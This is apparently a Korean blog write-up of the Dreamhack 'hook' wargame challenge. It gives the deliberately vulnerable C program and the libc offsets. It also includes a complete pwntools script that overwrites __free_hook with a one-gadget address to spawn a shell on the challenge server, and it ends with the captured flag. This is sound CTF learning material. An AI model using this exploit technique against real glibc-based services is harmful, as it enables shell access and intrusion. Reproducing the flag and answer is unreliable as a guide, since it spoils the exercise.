콘텐츠로 건너뛰기

hook

Desciption

이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

checksec

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

Solution

oneshot_gadget = 0x4527a

libc_base = (출력되는 stdout 주소) – 0x3C5620 (IDA에서 가져온 .data:00000000003C5620 IO_2_1_stdout)

.bss:00000000003C67A8 __free_hook에 oneshot_gadget주소를 넣어 쉘이 실행되도록 만든다.

solve.py

from pwn import *
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 20025)

libc_base = p.recvuntil("Size: ")
libc_base = str(libc_base).split(": ")[1][:-6]
libc_base = int(libc_base, 16)
print("libc_base: " + hex(libc_base))

p.sendline(b"1024")
p.recvuntil("Data: ")

libc_base = libc_base - 0x3C5620
oneshot_gadget = libc_base + 0x4527a
free_hook = libc_base + 0x3C67A8

payload = p64(free_hook)
payload += p64(oneshot_gadget)

p.sendline(payload)

p.interactive()

FLAG

DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}

태그:

답글 남기기